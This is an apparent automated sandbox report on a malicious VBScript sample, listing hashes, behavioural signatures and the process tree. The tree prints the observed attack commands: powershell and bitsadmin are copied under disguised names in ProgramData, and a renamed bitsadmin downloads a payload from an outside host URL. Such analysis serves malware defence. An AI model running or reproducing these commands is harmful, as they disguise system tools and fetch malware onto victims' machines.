Analysis
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max time kernel
137s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
13-08-2024 18:49
Static task
static1
Behavioral task
behavioral1
Sample
944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs
Resource
win7-20240729-en
General
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Target
944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs
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Size
9KB
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MD5
944f7974e1bf22df4ba5e26d9c0b045b
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SHA1
f23a0b2edf74ec6fa18dfd27cfc68606d919192d
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SHA256
8bffb5f01d123e3d6eb01393b78f1b179a70924ba38109f6e808a2635aebfafe
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SHA512
65dd8327c339c58e3e7aa15287d09f028fe16370eedfd3f672069c2e7c36d0cc30bff111f1d91292a570f99e758316892602aa9918695985cfd8d9b7d6e1e317
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SSDEEP
192:xaFYrF+KlavnTOxR7Xqy/xGSGf6bNQJ1L9wzT/jFDdFuF6:PrF+WavnTOr7XfxnGf6bNQJ1L9cLxDn
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 1440 FbaGiusin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FbaGiusin.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2184 wrote to memory of 968 2184 WScript.exe 84 PID 2184 wrote to memory of 968 2184 WScript.exe 84 PID 968 wrote to memory of 2736 968 cmd.exe 86 PID 968 wrote to memory of 2736 968 cmd.exe 86 PID 968 wrote to memory of 3448 968 cmd.exe 87 PID 968 wrote to memory of 3448 968 cmd.exe 87 PID 2184 wrote to memory of 1440 2184 WScript.exe 88 PID 2184 wrote to memory of 1440 2184 WScript.exe 88 PID 2184 wrote to memory of 1440 2184 WScript.exe 88
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe3⤵PID:2736
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe3⤵PID:3448
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C:\ProgramData\FbaGiusin.exe"C:\ProgramData\FbaGiusin.exe" /wrap /transfer skTzVfhZ https://linderosinmobiliaria.com/mobili/00434970174/developer.rtf C:\ProgramData\developer.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1440
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a